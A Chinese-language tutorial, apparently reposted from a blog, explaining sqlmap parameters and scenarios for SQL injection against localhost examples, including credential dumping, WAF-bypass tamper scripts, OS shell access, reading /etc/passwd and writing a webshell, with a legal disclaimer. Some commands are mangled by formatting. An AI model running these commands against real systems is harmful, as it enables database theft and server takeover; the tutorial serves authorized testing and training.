Sqlmap 工具保姆级使用教程

Sqlmap 工具保姆级使用教程免责声明 本教程仅供合法授权的安全测试和学习研究使用 未经授权对目标系统进行 SQL 注入测试属于违法行为 可能面临法律责任 请严格遵守 中华人民共和国网络安全法 及相关法律法规 SQLMap 是一款开源的自动化 SQL 注入检测与利用工具 由 Python 编写 支持多种数据库系统 MySQL Oracle SQL Server PostgreSQL SQLite 等

大家好,我是讯享网,很高兴认识大家。这里提供最前沿的Ai技术和互联网信息。



免责声明:本教程仅供合法授权的安全测试和学习研究使用。未经授权对目标系统进行 SQL 注入测试属于违法行为,可能面临法律责任。请严格遵守《中华人民共和国网络安全法》及相关法律法规。


SQLMap 是一款开源的自动化 SQL 注入检测与利用工具,由 Python 编写,支持多种数据库系统(MySQL、Oracle、SQL Server、PostgreSQL、SQLite 等)。它能够自动探测目标 URL 中的 SQL 注入漏洞,并利用漏洞枚举数据库信息、读取文件、执行系统命令等。

核心特性
特性 说明 全自动检测 自动识别注入点及注入类型 多数据库支持 MySQL、Oracle、MSSQL、PostgreSQL、SQLite 等 多注入技术 布尔盲注、时间盲注、报错注入、联合查询、堆叠查询 数据库指纹识别 自动识别目标 DBMS 类型及版本 WAF 绕过 内置 60+ tamper 脚本,绕过常见 WAF 防护 权限提升 支持 UDF 提权、 --os-shell 获取系统 shell 多目标支持 支持 Burp 日志、Google Dork、批量扫描

安装方式
# 方式一:官网下载 https://sqlmap.org/ # 方式二:百度网盘下载 https://pan.baidu.com/s/1WtX-_VdJBNR9ErekAFMdyw?pwd=bua6 提取码: bua6 
3.1 通用参数
参数 功能说明 -h 显示基本帮助信息 -hh 显示高级帮助信息 --version 显示版本号 --update 更新 sqlmap 到最新版本 --batch 使用默认选项,跳过所有交互式提问(非交互模式) --flush-session 清空当前目标的会话文件,重新开始检测 --fresh-queries 忽略会话文件中的缓存查询结果 --purge-output 安全删除输出目录中的所有内容 --output-dir=DIR 自定义输出目录路径 --save 将当前选项保存到 INI 配置文件中 --sqlmap-shell 进入交互式 sqlmap shell 模式
3.2 目标设置
参数 功能说明 使用场景 -u URL 直接指定目标 URL 单个 GET 请求注入点 -d 直接连接数据库(非 HTTP) 数据库直连 -l BURP_LOG 从 Burp Suite 代理日志解析目标 批量扫描 -r REQUEST_FILE 从文件加载 HTTP 请求 POST/复杂请求注入 -g GOOGLE_DORK 从 Google Dork 结果获取目标 批量发现目标 -c CONFIG_FILE 从 INI 配置文件加载选项 复用配置
3.3 请求设置
参数 功能说明 --data=DATA 指定 POST 请求体数据 --cookie=COOKIE 指定 Cookie 值(需登录的场景) --cookie-del=DEL 指定 Cookie 分隔符 --random-agent 使用随机 User-Agent 头 -A AGENT 手动指定 User-Agent --referer=REFERER 指定 HTTP Referer 头 --headers=HEADERS 设置额外的 HTTP 头(如 Content-Type: application/json--method=METHOD 强制指定 HTTP 方法(GET/POST) --auth-type=TYPE HTTP 认证类型(Basic、Digest、NTLM) --auth-cred=CREDS HTTP 认证凭据( 用户名:密码--proxy=PROXY 使用代理(如 http://127.0.0.1:8080--proxy-cred=CREDS 代理认证凭据 --ignore-proxy 忽略系统代理设置 --delay=SEC 设置请求间隔延迟(秒),避免触发防护 --timeout=SEC 连接超时时间(默认 30 秒) --retries=NUM 连接超时后重试次数(默认 3 次) --force-ssl 强制使用 SSL/HTTPS --eval=CODE 请求前执行 Python 代码(用于动态参数计算)
3.4 注入检测参数
参数 功能说明 推荐值 -p PARAM 指定要测试的参数 如 -p id --skip=PARAM 跳过指定参数不测试 --dbms=DBMS 强制指定后端数据库类型 如 --dbms=mysql --os=OS 指定目标操作系统 如 --os=linux --level=LEVEL 检测级别(1-5,默认 1) 日常 3-4,深度 5 --risk=RISK 风险级别(0-3,默认 1) 日常 1,授权 3 --technique=TECH 指定注入技术类型 默认 BEUSTQ --prefix=PREFIX 手动指定 payload 前缀 伪静态场景 --suffix=SUFFIX 手动指定 payload 后缀 伪静态场景
Level 与 Risk 级别详解

--level(检测深度):

级别 检测范围 适用场景 1 仅检测 URL 参数 快速初步检测 2 URL 参数 + Cookie 涉及 Cookie 注入 3 URL + Cookie + User-Agent / Referer 深度检测 HTTP 头注入 4 增加 Host 头检测 高级头注入 5 全面检测,包含更多 payload 深度渗透,耗时较长

--risk(风险等级):

级别 风险内容 适用场景 0 无风险测试,不修改数据 生产环境 1 默认,大部分测试安全 日常测试 2 基于时间盲注的 OR 型测试 可能有副作用 3 基于布尔盲注的 OR 型更新 可能修改数据, 谨慎使用
注入技术类型(--technique

默认使用全部技术 BEUSTQ

字母 技术 说明 B Boolean-based blind 布尔盲注,通过 True/False 响应判断 E Error-based 报错注入,利用数据库报错信息 U Union query-based 联合查询注入,合并查询结果 S Stacked queries 堆叠查询,执行多条 SQL 语句 T Time-based blind 时间盲注,通过延时判断 Q Inline queries 内联查询注入
3.5 枚举与数据提取参数
参数 功能说明 示例 -a / --all 获取所有信息 完整枚举 -b 获取 DBMS Banner 数据库版本 --current-user 当前数据库用户 --current-db 当前数据库名称 --is-dba 判断当前用户是否为 DBA 权限评估 --users 枚举所有数据库用户 --passwords 枚举用户密码哈希 --privileges 枚举用户权限 --roles 枚举用户角色 --dbs 枚举所有数据库 --tables 枚举数据库所有表 --columns 枚举表的所有列 --schema 枚举数据库架构 --count 统计表的行数 --dump 导出指定表的全部数据 --dump-all 导出所有数据库的全部数据 ⚠️ 极度危险 -D DB 指定目标数据库 -D security -T TABLE 指定目标表 -T users -C COL 指定目标列 -C "username,password" --start=N 导出数据起始行 分批导出 --stop=N 导出数据结束行 分批导出 --hex 使用 HEX 编码导出数据 二进制数据 --exclude-sysdbs 排除系统数据库 只看业务数据
3.6 操作系统访问参数
参数 功能说明 前提条件 --os-cmd=CMD 执行单条操作系统命令 DBA 权限 --os-shell 获取交互式操作系统 shell DBA 权限 --os-pwn 获取 OOB shell / Meterpreter / VNC DBA + Metasploit --os-smbrelay 一键获取 OOB shell SMB 配置 --os-bof 存储过程缓冲区溢出 MSSQL 特定场景 --os-esc 数据库进程用户权限提升 DBA 权限 --msf-path=PATH 指定 Metasploit 安装路径 联动 MSF
3.7 文件系统访问参数
参数 功能说明 --file-read=RFILE 从目标服务器读取文件 --file-write=LFILE 向目标服务器写入本地文件 --file-dest=RFILE 指定写入到目标服务器的路径
3.8 通用杂项参数
参数 功能说明 -v VERBOSITY 详细输出等级(0-6,默认 1) -f 获取 DBMS 版本指纹信息 --identify-waf 检测目标是否部署 WAF --tamper=TAMPER 使用 tamper 脚本绕过 WAF --mobile 模拟移动端 User-Agent --wizard 新手向导模式(交互式引导) --threads=N 并发线程数(默认 1) -o 开启所有优化开关 --predict-output 预测输出(加速检索) --keep-alive 使用持久 HTTP 连接
详细输出等级(-v
等级 显示内容 0 仅显示 Python 错误和重要信息 1 显示信息及警告(默认) 2 显示调试信息 3 显示注入 payload 4 显示 HTTP 请求头 5 显示 HTTP 响应头 6 显示 HTTP 响应内容(完整页面)

场景 1:GET 请求注入(最基础)
# 检测 URL 参数是否存在注入 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch # 检测并获取所有数据库名 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch --dbs # 获取指定数据库的表 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp --tables # 获取指定表的列 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp -T users --columns # 导出指定列的数据 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp -T users -C "username,password" --dump

使用场景:URL 参数直接拼接 SQL 语句的页面(新闻详情、商品详情等)。


场景 2:POST 请求注入
# 方式一:使用 --data 指定 POST 数据 python sqlmap.py -u "http://127.0.0.1/index.php" --data="username=admin&password=123" --batch # 方式二:从文件加载请求(推荐) # 1. 先在 Burp Suite 中抓取请求并保存为 request.txt python sqlmap.py -r request.txt --batch # 3. 指定测试参数 python sqlmap.py -r request.txt -p username --batch

使用场景:登录表单、搜索功能、评论提交等 POST 请求场景。

request.txt 文件格式

 
      
    
        
POST /index.php HTTP/1.1 

Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded

username=admin&password=

 
      
    
        
场景 3:Cookie 注入
 
      
    
        
python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="id=1; session=abc123" --batch --level=2

⚠️ Cookie 注入需要 --level 至少为 2,否则 sqlmap 不会检测 Cookie 参数。

使用场景:当注入点在 HTTP Cookie 中(如用户 ID、Session ID 等直接拼入 SQL)。


场景 4:HTTP 头注入(User-Agent / Referer / X-Forwarded-For)
# User-Agent 注入 python sqlmap.py -u "http://127.0.0.1/index.php" --level=3 -p User-Agent --batch # X-Forwarded-For 注入 python sqlmap.py -u "http://127.0.0.1/index.php" --headers="X-Forwarded-For: 1*" --batch

⚠️ HTTP 头注入需要 --level 至少为 3。

使用场景:服务器将客户端 IP(X-Forwarded-For)、User-Agent 等记录到数据库的场景(如日志系统、访问统计)。


场景 5:JSON / API 接口注入
python sqlmap.py -u "http://127.0.0.1/index.php" --data='{"id": 1, "name": "test"}' --headers="Content-Type: application/json" --batch

使用场景:前后端分离应用、RESTful API、移动端接口。


场景 6:伪静态 URL 注入
# 使用星号 * 标记注入点 python sqlmap.py -u "http://127.0.0.1/index.php" --batch # 手动指定前后缀(适用于复杂伪静态) python sqlmap.py -u "http://127.0.0.1/index.php" --prefix="') " --suffix=" -- " -p id --batch

使用场景 :URL 中的路径参数被拼入 SQL(如 /article/{id}.html)。


场景 7:需登录认证的注入
# 方式一:直接提供 Cookie python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="PHPSESSID=abc123; user=admin" --batch # 方式二:从 Burp 请求文件加载(自动携带所有认证信息) python sqlmap.py -r authenticated_request.txt --batch

使用场景:需要登录后才能访问的页面存在注入漏洞(后台管理系统)。


场景 8:通过 Burp Suite 批量扫描
# 从 Burp Suite 代理日志文件批量检测 python sqlmap.py -l burp_proxy.log --batch --level=3 --risk=1

使用场景:渗透测试中对整个目标站点进行批量 SQL 注入检测。


场景 9:使用代理隐匿身份
# 使用 HTTP 代理 python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="http://127.0.0.1:8080" --batch # 使用 SOCKS5 代理(如 Tor) python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="socks5://127.0.0.1:9050" --batch # 使用带认证的代理 python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="http://proxy.example.com:8080" --proxy-cred="user:pass" --batch

使用场景:测试过程中需要隐藏真实 IP 地址。


场景 10:绕过 WAF 防护
第一步:识别 WAF
python sqlmap.py -u "http://127.0.0.1/index.php" --identify-waf --batch
第二步:使用 tamper 脚本绕过
# 单个 tamper 脚本 python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment" --batch # 组合多个 tamper 脚本 python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment,randomcase,chardoubleencode" --batch # 使用分块传输绕过 python sqlmap.py -u "http://127.0.0.1/index.php" --chunked --batch

使用场景:目标站点部署了 WAF/IPS/IDS 防护设备。


场景 11:时间盲注(无回显场景)
# 强制使用时间盲注技术 python sqlmap.py -u "http://127.0.0.1/index.php" --technique=T --batch # 调整延迟时间(默认 5 秒) python sqlmap.py -u "http://127.0.0.1/index.php" --technique=T --time-sec=10 --batch

使用场景:注入点没有回显(不返回查询结果),也没有报错信息,只能通过延时判断。


场景 12:操作系统命令执行
# 执行单条系统命令 python sqlmap.py -u "http://127.0.0.1/index.php" --os-cmd="whoami" --batch # 获取交互式 Shell python sqlmap.py -u "http://127.0.0.1/index.php" --os-shell --batch # 读取服务器文件 python sqlmap.py -u "http://127.0.0.1/index.php" --file-read="/etc/passwd" --batch # 向服务器写入文件(如 Webshell) python sqlmap.py -u "http://127.0.0.1/index.php" --file-write="shell.php" --file-dest="/var/www/html/shell.php" --batch

⚠️ 需要 DBA 权限,且仅在合法授权测试中使用。

使用场景:已获取高权限注入,需要进一步渗透获取系统权限。


场景 13:二阶注入(二次注入)
python sqlmap.py -u "http://127.0.0.1/index.php" --forms --second-url="http://127.0.0.1/index.php" --batch

使用场景:恶意数据先注册/存储,在另一个页面被拼接执行 SQL。


场景 14:动态参数计算(如 MD5 签名)
python sqlmap.py -u "http://127.0.0.1/index.php" --data="id=1&sign=SIGN_PLACEHOLDER&time=TIMESTAMP" --eval="import hashlib,time;sign=hashlib.md5(('id=1&time='+str(int(time.time()))+'secret_key').encode()).hexdigest()" -p id --batch

使用场景:API 请求中包含动态签名或时间戳参数。


场景 15:从 Google Dork 批量发现目标
python sqlmap.py -g "inurl:".php?id=" site:127.0.0.1" --batch --level=2

使用场景:信息收集阶段批量发现潜在注入点。


Tamper 脚本是 SQLMap 的核心 WAF 绕过机制。脚本位于 /usr/share/sqlmap/tamper/ 目录(Kali Linux)。

5.1 编码类
脚本 功能说明 base64encode.py 对 payload 进行 Base64 编码 charencode.py 对 payload 进行一次 URL 编码 chardoubleencode.py 对 payload 进行双重 URL 编码 charunicodeencode.py URL-UNICODE 编码(适用于 ASP/ASP.NET) htmlencode.py 对特殊字符进行 HTML 实体编码 overlongutf8.py 使用超长 UTF-8 编码 percentencode.py 对指定字符进行百分比编码
5.2 空格替换类
脚本 功能说明 space2comment.py 空格 → //(最常用) space2plus.py 空格 → + space2randomblank.py 空格 → 随机空白符( 等) space2dash.py 空格 → -- 注释符 space2hash.py 空格 → # 注释符 + 换行 space2mssqlblank.py 空格 → 特定空白符(适用于 MSSQL)
5.3 关键字与符号替换类
脚本 功能说明 randomcase.py SQL 关键字随机大小写( SELECTSeLeCtequaltolike.py =LIKE(绕过等于号过滤) between.py > <BETWEEN greatest.py >GREATEST() modsecurityversioned.py MySQL 版本注释绕过 ModSecurity unionalltounion.py UNION ALLUNION apostrophemask.py 单引号 → UTF-8 等效编码 singlequotes.py 单引号 → 双引号
5.4 特定 WAF 绕过类
脚本 功能说明 luanginx.py 绕过 Lua-Nginx WAF varnish.py 添加 X-originating-IP 头绕过 Varnish xforwardedfor.py 伪造 X-Forwarded-Forbluecoat.py 替换空格和等号(适用于 Bluecoat) modsecurityzeroversioned.py 绕过 ModSecurity(空版本注释) charencode.py + randomcase.py 组合绕过简单关键字过滤
5.5 Tamper 脚本使用示例
# 绕过关键字大小写过滤 python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="randomcase" --batch # 绕过空格过滤 python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment" --batch # 多脚本组合(编码 + 大小写 + 空格替换) python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment,chardoubleencode,randomcase" --batch

6.1 星号 * 标记注入点

当你明确知道注入点位置时,用 * 精确标记,避免浪费时间检测其他参数:

 
                    
    
                      
python sqlmap.py -u "http://127.0.0.1/index.php" --batch
6.2 分批导出大数据

避免一次性导出大量数据触发告警或超时:

 
                    
    
                      
# 导出第 1000-2000 行 

python sqlmap.py -u "http://127.0.0.1/index.php" –dump -D webapp -T users –start=1000 –stop=2000 –batch

 
6.3 正则过滤提取

仅提取符合特定规则的数据:

 
                    
    
                      
# 仅提取 admin 相关账号 

python sqlmap.py -u "http://127.0.0.1/index.php" –dump -D webapp -T users -C email –regex=".@admin.." –batch

 
6.4 CSRF Token 自动处理

目标表单包含 CSRF Token 时:

 
                    
    
                      
python sqlmap.py -u "http://127.0.0.1/index.php" --csrf-token="csrf_token_name" --csrf-url="http://127.0.0.1/index.php" --batch
6.5 多线程加速
python sqlmap.py -u "http://127.0.0.1/index.php" --threads=5 --batch

注意:线程过多可能压垮目标服务器或触发 WAF。

6.6 二进制数据 HEX 导出

当数据库字段包含二进制数据(如密码哈希、文件内容):

 
                    
    
                      
python sqlmap.py -u "http://127.0.0.1/index.php" --dump -T users -C password --hex --batch

这是实战中最常用的工作模式:

 
                    
    
                      
┌──────────────┐ ┌──────────────┐ ┌──────────────┐ 

│ 浏览器访问 │────▶│ Burp Suite │────▶│ SQLMap │ │ 目标网站 │ │ 抓取请求 │ │ 加载请求 │ │ │◀────│ 保存为文件 │◀────│ 自动检测利用 │ └──────────────┘ └──────────────┘ └──────────────┘

 

操作步骤

  1. 配置浏览器代理 :设置浏览器通过 Burp Suite(默认 127.0.0.1:8080
  2. 正常操作目标站点:登录、浏览、搜索等,让 Burp 记录所有请求
  3. 保存请求文件 :在 Burp 中右键目标请求 → Save to file → request.txt
  4. 用 SQLMap 加载检测
 
                    
    
                      
python sqlmap.py -r request.txt --batch --level=3 --risk=1

  • 确认注入后深度利用
  •  
                        
        
                          
    python sqlmap.py -r request.txt --batch -D target_db -T users -C "username,password,email" --dump

    问题 原因 解决方案 检测不到注入 level 太低 提升 –level 到 3-5 被 WAF 拦截 触发安全规则 使用 –tamper + –identify-waf 请求超时 网络延迟 / WAF 增加 –timeout / –delay POST 注入无效 数据未正确传递 检查 –data 格式,或用 -r 加载文件 时间盲注太慢 默认延迟 5 秒 使用 –technique=T + –threads 优化 找不到数据库 权限不足 使用 –is-dba 确认权限 报错注入失败 不支持报错回显 切换 –technique=BE 使用盲注 Cookie 注入漏测 level 太低 确保 –level>=2 伪静态检测不到 参数识别失败 用 * 标记注入点或加 –prefix/ –suffix

    SQLMap 检测完成后会输出注入类型和信息,关键信息解读:

     
                         
        
                           
    [INFO] the back-end DBMS is MySQL >= 5.6 

    back-end DBMS: MySQL >= 5.6

    [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/127.0.0.1’

     

    结果文件位置~/.sqlmap/output/{目标地址}/

    文件 内容 log 检测日志 session.sqlite 会话数据 {db}/{table}.csv 导出的数据(CSV 格式)

    ⚠️ 以下行为可能触犯法律,务必在合法授权范围内使用

    ❌ 严禁行为 ✅ 正确做法 未经授权扫描他人网站 仅对自己拥有或获授权的系统测试 使用 –dump-all 大规模拖库 仅提取必要数据用于验证漏洞 在生产环境使用 –os-shell 在隔离的测试环境中验证 利用发现的漏洞进行破坏 及时报告漏洞给所有者 使用工具进行 DDoS 攻击 控制请求速率,避免影响服务

    合法使用场景

    • 本地搭建靶场练习(如 sqli-labs、DVWA)
    • 企业内部授权渗透测试
    • CTF 安全竞赛
    • 漏洞众测平台授权项目
    • 护网行动 / 攻防演练(在授权范围内)

    靶场 说明 地址 sqli-labs SQL 注入经典靶场,65 关 GitHub 搜索 sqli-labs DVWA 综合漏洞练习平台 本地搭建 SQLi-labs 分等级注入练习 GitHub 开源 PortSwigger Web Academy 在线交互式 SQL 注入课程 portswigger.net HackTheBox 在线渗透挑战平台 hackthebox.com

    快速检测
     
                            
        
                              
    # 快速检测 GET 注入 

    python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –batch

    快速检测 POST 注入

    python sqlmap.py -u "http://127.0.0.1/index.php" –data="param=value" –batch

    从 Burp 文件检测

    python sqlmap.py -r request.txt –batch

     
    信息枚举
    # 获取数据库 → 表 → 列 → 数据 的完整流程 

    python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –batch –dbs # 1. 所有数据库 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –batch -D dbname –tables # 2. 指定库的表 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –batch -D dbname -T tblname –columns # 3. 指定表的列 python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –batch -D dbname -T tblname -C "col1,col2" –dump # 4. 导出数据

     
    WAF 绕过
    # 识别 WAF + 绕过 

    python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –identify-waf –tamper="space2comment,randomcase" –batch

     
    提权与命令执行
    # 获取 OS Shell 

    python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –os-shell –batch

    读取文件

    python sqlmap.py -u "http://127.0.0.1/index.php?id=1" –file-read="/etc/passwd" –batch

     
                            
        
                              
    小讯
    上一篇 2026-04-20 23:27
    下一篇 2026-04-20 23:25

    相关推荐

    版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
    如需转载请保留出处:https://51itzy.com/kjqy/264986.html